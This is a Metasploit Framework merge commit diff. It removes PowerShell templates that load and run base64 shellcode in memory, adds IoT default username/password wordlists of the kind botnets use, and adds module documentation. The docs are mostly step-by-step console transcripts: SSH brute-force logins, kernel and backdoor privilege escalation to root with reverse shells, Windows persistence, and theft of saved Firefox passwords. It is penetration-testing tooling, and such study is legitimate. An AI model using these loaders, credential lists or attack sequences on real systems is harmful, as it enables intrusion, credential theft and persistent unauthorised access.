Merge branch 'master' into land-7423-localtime

bug/bundler_fix
Brent Cook 2016-10-10 23:54:38 -05:00
commit 0d5a23b865
52 changed files with 2699 additions and 607 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.12.30)
metasploit-framework (4.12.33)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -14,7 +14,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.1.16)
metasploit-payloads (= 1.1.19)
metasploit_data_models
metasploit_payloads-mettle (= 0.0.6)
msgpack
@ -167,7 +167,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.1.16)
metasploit-payloads (1.1.19)
metasploit_data_models (2.0.4)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -256,7 +256,7 @@ GEM
rex-arch
rex-ole (0.1.2)
rex-text
rex-powershell (0.1.64)
rex-powershell (0.1.66)
rex-random_identifier
rex-text
rex-random_identifier (0.1.0)

Binary file not shown.

View File

@ -1,30 +0,0 @@
Set-StrictMode -Version 2
$%{var_syscode} = @"
using System;
using System.Runtime.InteropServices;
namespace %{var_kernel32} {
public class func {
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
}
"@
$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$%{var_compileParams}.GenerateInMemory = $True
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)

View File

@ -1,20 +0,0 @@
$%{var_syscode} = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@
$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
%{shellcode}
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40)
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
}
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)

View File

@ -1,27 +0,0 @@
function %{func_get_proc_address} {
Param ($%{var_module}, $%{var_procedure})
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
}
function %{func_get_delegate_type} {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
)
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
return $%{var_type_builder}.CreateType()
}
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null

View File

@ -50,7 +50,7 @@ shdr:
dd 0 ; sh_link
dd 0 ; sh_info
dq 8 ; sh_addralign
dq dynsz ; sh_entsize
dq 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
@ -66,9 +66,6 @@ dynsection:
; DT_INIT
dq 0x0c
dq _start
; DT_HASH
dq 0x04
dq 0
; DT_STRTAB
dq 0x05
dq strtab
@ -77,7 +74,7 @@ dynsection:
dq strtab
; DT_STRSZ
dq 0x0a
dq strtabsz
dq 0
; DT_SYMENT
dq 0x0b
dq 0

View File

@ -1213,3 +1213,32 @@ CMOSPWD
dadmin
wlcsystem
vagrant
xc3511
vizxv
888888
xmhdipc
juantech
54321
666666
klv123
service
666666
888888
ubnt
klv1234
Zte521
hi3518
jvbzd
anko
zlxx.
7ujMko0vizxv
7ujMko0admin
ikwb
dreambox
user
realtek
1111111
54321
7ujMko0admin
meinsm
fucker

View File

@ -1785,3 +1785,36 @@ AURORA$JIS$UTILITY$
wlcsystem wlcsystem
news
CPRM
root xc3511
root vizxv
root 888888
root xmhdipc
root juantech
root 123456
root 54321
root 1111
root 666666
root klv123
service service
admin1 password
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 54321
admin 7ujMko0admin
admin meinsm
mother fucker

View File

@ -913,3 +913,8 @@ AUTOLOG1
AURORA$JIS$UTILITY$
wlcsystem
CPRM
Admin1
ubnt
666666
888888
mother

View File

@ -0,0 +1,43 @@
00000000
1111
1111111
1234
12345
123456
54321
666666
7ujMko0admin
7ujMko0vizxv
888888
admin
admin1234
anko
default
dreambox
fucker
guest
hi3518
ikwb
juantech
jvbzd
klv123
klv1234
meinsm
pass
password
realtek
root
service
smcadmin
supervisor
support
system
tech
ubnt
user
vizxv
xc3511
xmhdipc
zlxx.
Zte521

View File

@ -0,0 +1,15 @@
666666
888888
admin
admin1
administrator
Administrator
guest
mother
root
service
supervisor
support
tech
ubnt
user

View File

@ -0,0 +1,60 @@
root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root
admin password
root root
root 12345
user user
admin
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin pass
admin meinsm
tech tech
mother fucker

View File

@ -0,0 +1,76 @@
Siemens Industrial controllers and most other industrial OEMs
use a proprietary protocol to discover their devices accross a network.
In the case of Siemens this is called the Profinet Discover Protocol.
Known in Wireshark as PN_DCP
It works purely on Layer 2 (Ethernet addresses) and sends out a single
multicast packet (making it safe to use in sensitive networks).
Each profinet enabled responds with an array of information:
- Its IP address, Subnetmask and Gateway
- Its Profinet Devicename ('Station Name')
- The Type of station
- A Vendor ID (e.g. '002a'), signifing the vendor (e.g. 'Siemens')
- A Device Role (e.g. '01'), signifing the type of device (e.g. 'IO-Controller')
- A Device ID (e.g. '010d'), signifing the device type (e.g. 'S7-1200')
## Vulnerable Application
This is a hardware choice of design, and as such CANNOT be changed without
loss of compatibility.
Possible mitigations include: pulling the plug (literally), using network isolation
(Firewall, Router, IDS, IPS, network segmentation, etc...) or not allowing bad
people on your network.
Most, if not all, PLC's (computers that control engines, robots, conveyor
belts, sensors, camera's, doorlocks, CRACs ...) have vulnerabilities where,
using their own tools, remote configuration and programming can be done
*WITHOUT* authentication. Investigators and underground hackers are just now
creating simple tools to convert the, often proprietary, protocols into simple
scripts. The operating word here is "proprietary". Right now, the only thing
stopping very bad stuff from happening.
## Verification Steps
The following demonstrates a basic scenario, we "detect" two devices:
```
msf > search profinet
msf > use auxiliary/scanner/scada/profinet_siemens
msf auxiliary(profinet_siemens) > run
[*] Sending packet out to eth0
[+] Parsing packet from 00:0e:8c:cf:7b:1a
Type of station: ET200S CPU
Name of station: pn-io-1
Vendor and Device Type: Siemens, ET200S
Device Role: IO-Controller
IP, Subnetmask and Gateway are: 172.16.108.11, 255.255.0.0, 172.16.108.11
[+] Parsing packet from 00:50:56:b6:fe:b6
Type of station: SIMATIC-PC
Name of station: nm
Vendor and Device Type: Siemens, PC Simulator
Device Role: IO-Controller
IP, Subnetmask and Gateway are: 172.16.30.102, 255.255.0.0, 172.16.0.1
[+] I found 2 devices for you!
[*] Auxiliary module execution completed
```
## Module Options
```
msf auxiliary(profinet_siemens) > show options
Module options (auxiliary/scanner/scada/profinet_siemens):
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE eth0 yes Set an interface
TIMEOUT 2 yes Seconds to wait, set longer on slower networks
```
By default, the module uses interface 'eth0', there is a check to see if it is live.
The module will send out an ethernet packet and wait for responses.
By default, it will wait 2 seconds for any responses, this is long enough for most networks.
Increase this on larger and/or slower networks, it just increases the wait time.

View File

@ -0,0 +1,133 @@
## Creating A Testing Environment
This module works against Ubuntu 13.04, and 13.10. As of writing this, those releases are at EOL (end of life). If you wish to install `gcc` or other command, you'll need to fix your `/etc/sources.list` to
point to the correct repos.
`sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list` [source](http://askubuntu.com/questions/91815/how-to-install-software-or-upgrade-from-an-old-unsupported-release)
This module has been tested against:
1. Ubuntu 13.04 (default kernel) 3.8.0-19-generic
This module should also work against:
1. Ubuntu 13.10 (default kernel) 3.11.0-12-generic
2. Ubuntu 13.10 3.11.0-15-generic
More kernels could be added to this, just need the proper offsets.
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/linux/local/recvmmsg_priv_esc`
4. Do: `set session #`
5. Do: `set verbose true`
6. Do: `exploit`
## Options
**COMPILE**
If we should attempt to compile live on the system, or drop a binary. Default is `auto` which will compile if `gcc` is installed.
**WritableDir**
A folder we can write files to. Defaults to /tmp
## Scenarios
### Ubuntu 13.04 (with default kernel: 3.8.0-19-generic)
#### Initial Access
[*] Processing recvmmsg.rc for ERB directives.
resource (recvmmsg.rc)> use auxiliary/scanner/ssh/ssh_login
resource (recvmmsg.rc)> set rhosts 192.168.2.20
rhosts => 192.168.2.20
resource (recvmmsg.rc)> set username ubuntu
username => ubuntu
resource (recvmmsg.rc)> set password ubuntu
password => ubuntu
resource (recvmmsg.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39613 -> 192.168.2.20:22) at 2016-10-08 23:19:48 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[+] gcc is installed
[*] Live compiling exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/4bUIkbrG.c (5950 bytes)
[*] Max line length is 65537
[*] Writing 5950 bytes in 1 chunks of 20667 bytes (octal-encoded), using printf
[*] Compiling /tmp/4bUIkbrG.c
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:20:00 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:32:49 -0400
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
### Using pre-compiled binaries on the same system
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[-] gcc is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/Yc0xB9oC (14571 bytes)
[*] Max line length is 65537
[*] Writing 14571 bytes in 1 chunks of 38575 bytes (octal-encoded), using printf
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:42:01 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:54:50 -0400
[+] Deleted /tmp/Yc0xB9oC
[+] Deleted /tmp/a0RwAacU
2689016405
carERUCEUgdCZfvTyiWuBklsNMqcNhey
true
dPZDicgefmDeBvIpRYKaToiSQmHWQxBe
yGWMZKlCTQskKCZERIXNchDARUIzzBJn
FjFxyOSVHntGpawbQfSzIdRPsbeyOgSq
true
HFPuJArQoYvuxhkoWbAwvdDbNVUjSdUL
vMvWNASOZcfTmStOGnozdJzfTAUWJYzU
VQUKZqzBlQaQJmbtyQSSNudDtINToRhu
whoami
root

View File

@ -0,0 +1,71 @@
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
Vulnerable OS: all OS images available for Orange Pis,
any for FriendlyARM's NanoPi M1,
SinoVoip's M2+ and M3,
Cuebietech's Cubietruck +
Linksprite's pcDuino8 Uno
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.
## Usage
To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.
- `use auxiliary/scanner/ssh/ssh_login`
```
msf auxiliary(ssh_login) > set username orangepi
username => orangepi
msf auxiliary(ssh_login) > set password orangepi
password => orangepi
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
rhosts => 192.168.2.21
msf auxiliary(ssh_login) > exploit
[*] 192.168.2.21:22 SSH - Starting bruteforce
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
- `use exploit/multi/local/allwinner_backdoor`
```
msf exploit(allwinner_backdoor) > set verbose true
verbose => true
msf exploit(allwinner_backdoor) > set session 1
session => 1
msf exploit(allwinner_backdoor) > set payload linux/armle/mettle/reverse_tcp
payload => linux/armle/mettle/reverse_tcp
msf exploit(allwinner_backdoor) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(allwinner_backdoor) > check
[*] The target appears to be vulnerable.
msf exploit(allwinner_backdoor) > exploit
```
## Successful exploitation:
```
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (374540 bytes) to 192.168.2.248
[+] Backdoor Found, writing payload to /tmp/odzVx.elf
[*] Max line length is 65537
[*] Writing 284 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
[+] Escalating
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (374540 bytes) to 192.168.2.248
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.248:49472) at 2016-09-22 21:56:50 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.2.248
OS : Ubuntu 14.04 (Linux 3.4.39)
Architecture : armv7l
Meterpreter : armle/linux
```

View File

@ -0,0 +1,63 @@
## Example Usage
```
msf exploit(handler) > use exploit/windows/local/ps_persist
msf exploit(ps_persist) > set session -1
session => -1
msf exploit(ps_persist) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ps_persist) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(ps_persist) > set lport 4445
lport => 4445
msf exploit(ps_persist) > show options
Module options (exploit/windows/local/ps_persist):
Name Current Setting Required Description
---- --------------- -------- -----------
OUTPUT_TARGET no Name and path of the generated executable, default random, omit extension
SESSION -1 yes The session to run this module on.
START_APP true no Run EXE/Install Service
SVC_DNAME MsfDynSvc no Display Name to use for the Windows Service
SVC_GEN false no Build a Windows service, which defaults to running as localsystem
SVC_NAME MsfDynSvc no Name to use for the Windows Service
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4445 yes The listen port
Exploit target:
Id Name
-- ----
0 Universal
msf exploit(ps_persist) > run
[*] Started reverse TCP handler on 192.168.56.1:4445
[+] - Bytes remaining: 9664
[+] - Bytes remaining: 1664
[+] Payload successfully staged.
[*] Sending stage (957999 bytes) to 192.168.56.101
[+] Finished!
[*] Meterpreter session 2 opened (192.168.56.1:4445 -> 192.168.56.101:49974) at 2016-10-08 18:42:36 -0500
meterpreter > sysinfo
Computer : DESKTOP-B8ALP1P
OS : Windows 10 (Build 14393).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
```

View File

@ -0,0 +1,68 @@
## Vulnerable Application
This post-exploitation module allows the collection of saved Firefox passwords from a Firefox privileged javascript shell.
## Verification Steps
1. Start `msfconsole`
2. Get privileged javascript session
3. Do: `use post/firefox/gather/passwords`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. You should be able to see all saved Firefox passwords in the loot file in JSON format
## Options
- **SESSION** - The session to run the module on.
- **TIMEOUT** - Maximum time (seconds) to wait for a response. The default value is 90.
## Scenarios
**Obtain a privileged javascript shell and gather saved Firefox passwords**
To be able to use this module, a privileged javascript shell is needed. It can be obtained by using a javascript privilege exploit like `exploit/multi/browser/firefox_proto_crmfrequest`, `exploit/multi/browser/firefox_proxy_prototype` or others.
In the example case of the `firefox_proto_crmfrequest` exploit use `set TARGET 0` to use a javascript shell.
```
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(firefox_proto_crmfrequest) > set TARGET 0
TARGET => 0
msf exploit(firefox_proto_crmfrequest) > run
[*] Exploit running as background job.
msf exploit(firefox_proto_crmfrequest) >
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/nbHsSeXAfjr
[*] Local IP: http://192.168.2.117:8080/nbHsSeXAfjr
[*] Server started.
[*] Gathering target information for 192.168.2.117
[*] Sending HTML response to 192.168.2.117
[*] Sending HTML
[*] Sending the malicious addon
[*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.117:35100) at 2016-10-08 00:33:09 +0200
msf exploit(firefox_proto_crmfrequest) > use post/firefox/gather/passwords
msf post(passwords) > set SESSION 1
SESSION => 1
msf post(passwords) > run
[*] Running the privileged javascript...
[+] Saved 1 passwords to /home/user/.msf4/loot/20161008003433_default_192.168.2.117_firefox.password_070261.txt
[*] Post module execution completed
```
The loot file then contains all passwords in json format, like so:
```
[
{
"password":"1234",
"passwordField":"pwd",
"username":"admin",
"usernameField":"log",
"httpRealm":"",
"formSubmitURL":"https://example.com",
"hostname":"https://example.com"
}
]
```

View File

@ -1,93 +0,0 @@
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
Vulnerable OS: all OS images available for Orange Pis,
any for FriendlyARM's NanoPi M1,
SinoVoip's M2+ and M3,
Cuebietech's Cubietruck +
Linksprite's pcDuino8 Uno
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.
## Usage
To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.
- `use auxiliary/scanner/ssh/ssh_login`
```
msf auxiliary(ssh_login) > set username orangepi
username => orangepi
msf auxiliary(ssh_login) > set password orangepi
password => orangepi
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
rhosts => 192.168.2.21
msf auxiliary(ssh_login) > exploit
[*] 192.168.2.21:22 SSH - Starting bruteforce
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
- `use post/multi/escalate/allwinner_backdoor`
```
msf post(allwinner_backdoor) > set verbose true
verbose => true
msf post(allwinner_backdoor) > set session 1
session => 1
msf post(allwinner_backdoor) > run
```
## Successful exploitation:
```
[+] Backdoor found, exploiting.
[+] Privilege Escalation Successful
[*] Post module execution completed
msf post(allwinner_backdoor) > sessions -i 1
[*] Starting interaction with 1...
2013564244
uHvwyYtCTXENEYdrCoKdgVxTpKlbnqsW
true
RUVRnPJFFgVpuqEiYXdtXpwdDZxVwZPS
TitlDmvnSvINczARsMAKdajpRoXEohXO
0
RtBPRSiAsiGoFatKQVukpjIjGBpJdXqq
id
uid=0(root) gid=0(root) groups=0(root),27(sudo),29(audio),1001(orangepi)
^Z
Background session 1? [y/N] y
```
## Graceful exit on non-vulnerable devices:
```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username pi
username => pi
msf auxiliary(ssh_login) > set password raspberry
password => raspberry
msf auxiliary(ssh_login) > set rhosts basementpi
rhosts => basementpi
msf auxiliary(ssh_login) > exploit
[*] 192.168.2.80:22 SSH - Starting bruteforce
[+] 192.168.2.80:22 SSH - Success: 'pi:raspberry' 'uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),106(netdev),996(gpio),997(i2c),998(spi),999(input) Linux basementpi 4.1.19-v7+ #858 SMP Tue Mar 15 15:56:00 GMT 2016 armv7l GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:36438 -> 192.168.2.80:22) at 2016-05-17 22:19:57 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/multi/escalate/allwinner_backdoor
msf post(allwinner_backdoor) > set verbose true
verbose => true
msf post(allwinner_backdoor) > set session 1
session => 1
msf post(allwinner_backdoor) > run
[-] Backdoor /proc/sunxi_debug/sunxi_debug not found.
[*] Post module execution completed
```

View File

@ -0,0 +1,77 @@
## Example Session
/tmp/hello.cs contains the following:
```
using System;
public class Hello
{
public static void Main()
{
Console.WriteLine("Hello, World!");
}
}
```
To build and run the code:
```
msf exploit(handler) > use post/windows/manage/powershell/build_net_code
msf post(build_net_code) > set SESSION -1
SESSION => -1
msf post(build_net_code) > show options
Module options (post/windows/manage/powershell/build_net_code):
Name Current Setting Required Description
---- --------------- -------- -----------
ASSEMBLIES mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll no Any assemblies outside the defaults
CODE_PROVIDER Microsoft.CSharp.CSharpCodeProvider yes Code provider to use
COMPILER_OPTS /optimize no Options to pass to compiler
OUTPUT_TARGET no Name and path of the generated binary, default random, omit extension
RUN_BINARY false no Execute the generated binary
SESSION -1 yes The session to run this module on.
SOURCE_FILE yes Path to source code
msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs
SOURCE_FILE => /tmp/hello.cs
msf post(build_net_code) > run
[*] Building remote code.
[+] File C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe found, 3584kb
[+] Finished!
[*] Post module execution completed
msf post(build_net_code) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > shell
Process 4840 created.
Channel 7 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
E:\metasploit-framework>C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
Hello, World!
```
You can also run the code automatically:
```
msf exploit(handler) > use post/windows/manage/powershell/build_net_code
msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs
SOURCE_FILE => /tmp/hello.cs
msf post(build_net_code) > set RUN_BINARY true
RUN_BINARY => true
msf post(build_net_code) > set SESSION -1
SESSION => -1
msf post(build_net_code) > run
[*] Building remote code.
[+] File C:\cygwin64\tmp\QuEQSEifJOe.exe found, 3584kb
[+] Hello, World!
[+] Finished!
[*] Post module execution completed
```

86
